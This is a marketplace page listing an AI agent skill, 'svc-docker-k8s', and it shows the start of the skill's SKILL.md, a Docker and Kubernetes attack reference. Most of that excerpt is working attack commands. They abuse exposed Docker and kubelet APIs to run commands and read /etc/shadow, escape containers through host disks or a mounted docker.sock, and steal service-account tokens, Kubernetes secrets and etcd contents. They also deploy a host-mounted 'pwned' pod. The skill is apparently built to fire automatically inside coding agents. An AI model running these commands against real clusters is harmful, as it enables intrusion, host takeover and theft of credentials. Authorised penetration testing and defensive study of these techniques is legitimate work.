svc-docker-k8s
Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft.
Skill by s0ld13rr
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/s0ld13rr-svc-docker-k8s
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: backend, devops, security, security-scanning
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/svc-docker-k8s
What's inside
- Skill name
svc-docker-k8s- Description
- Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft. Use when a container/orchestration surface is found. Triggers - Docker 2375/2376, Kubernetes API 6443, kubelet 10250, etcd 2379, /version, privileged pod, service-account token, docker.sock.
- License
- MIT
- Instructions
- 87 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Agent Skills spec issues
- name: "svc-docker-k8s" does not match folder "docker-k8s"
Files (1)
- SKILL.md
SKILL.md (first lines)
# Docker & Kubernetes Attack Reference
## Docker API (2375/2376)
```bash
# Check for exposed Docker daemon
curl http://<target>:2375/version
curl http://<target>:2375/containers/json
# RCE via container creation
curl -X POST http://<target>:2375/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'
# Then start and read logs
curl -X POST http://<target>:2375/containers/<id>/start
curl http://<target>:2375/containers/<id>/logs?stdout=true
```
## Container Escape
```bash
# Check if inside container
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv
# Privileged container escape
fdisk -l # can see host disks?
mount /dev/sda1 /mnt && chroot /mnt
# Docker socket mounted
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt
# CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container
```
## Kubernetes API (6443/8443)
```bash
# Unauthenticated access
curl -k https://<target>:6443/api
curl -k https://<target>:6443/api/v1/namespaces
curl -k https://<target>:6443/api/v1/pods
curl -k https://<target>:8443/version
# With token (from pod service account)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets
# kubelet API (10250)
curl -k https://<target>:10250/pods
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"
```
## K8s RBAC Abuse
```bash
# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods
# Pod with host mount (if create pods allowed)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: pwned
spec:
containers:
- name: pwned
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow"]
volumeMounts:
- mountPath: /host
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
EOF
```
## etcd (2379)
```bash
# Unauthenticated etcd — contains all K8s secrets
etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only
etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix
```From s0ld13rr/pentestcode, MIT.
More from s0ld13rr/pentestcode
- 0.814score
cloudflare
s0ld13rr
Comprehensive Cloudflare platform skill covering Workers, Pages, storage (KV, D1, R2), AI (Workers AI, Vectorize, Agents SDK), networking (Tunnel, Spectrum)…
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
svc-web-server
s0ld13rr
Web SERVER software (not app-layer) attack techniques — server misconfigs, known server CVEs, path traversal, exposed status/config.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-xxe
s0ld13rr
XML External Entity injection detection→file-read/SSRF→proof for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
vuln-assess-phase
s0ld13rr
Vulnerability analysis — triage scanner output, verify manually, score with CVSS, mark false positives.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-deserialization
s0ld13rr
Insecure deserialization to RCE for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-lfi-traversal
s0ld13rr
Path traversal / Local File Inclusion detection→file-read→RCE for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-auth-bypass-idor
s0ld13rr
Broken access control - IDOR, privilege escalation, JWT abuse, mass assignment, forced browsing - for web apps and APIs.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-upload-rce
s0ld13rr
File-upload abuse to code execution for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-ssti
s0ld13rr
Server-Side Template Injection detection→engine-fingerprint→RCE for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-ssrf
s0ld13rr
Server-Side Request Forgery detection→internal-access→proof for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-sqli
s0ld13rr
SQL injection detection→exploitation→proof for web apps and APIs.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
svc-ssh
s0ld13rr
SSH version CVEs and post-auth tricks — regreSSHion, user enum, agent hijack.
SkillAFreshness: A★ 883Claude Code +9
Compare and alternatives
Featured in
Signals
- Stars
- 883
- Forks
- 139
- Open issues
- 3
- Last commit (this folder)
- Jul 24, 2026 (3 months ago)
- Last release
- Oct 23, 2026 (4 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- MIT
- Repository
- github.com/s0ld13rr/pentestcode
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
Same skill elsewhere
Copies of this SKILL.md published by others; search shows only one of them.
More from s0ld13rr
- 0.814score
cloudflare
s0ld13rr
Comprehensive Cloudflare platform skill covering Workers, Pages, storage (KV, D1, R2), AI (Workers AI, Vectorize, Agents SDK), networking (Tunnel, Spectrum)…
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-ssti
s0ld13rr
Server-Side Template Injection detection→engine-fingerprint→RCE for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-upload-rce
s0ld13rr
File-upload abuse to code execution for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
vuln-assess-phase
s0ld13rr
Vulnerability analysis — triage scanner output, verify manually, score with CVSS, mark false positives.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-xxe
s0ld13rr
XML External Entity injection detection→file-read/SSRF→proof for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-ssrf
s0ld13rr
Server-Side Request Forgery detection→internal-access→proof for web apps.
SkillAFreshness: A★ 883Claude Code +9
Cite this page
svc-docker-k8s skill. Agent Mart. https://agentmart.dev/skills/s0ld13rr-svc-docker-k8s (last updated 2026-10-24)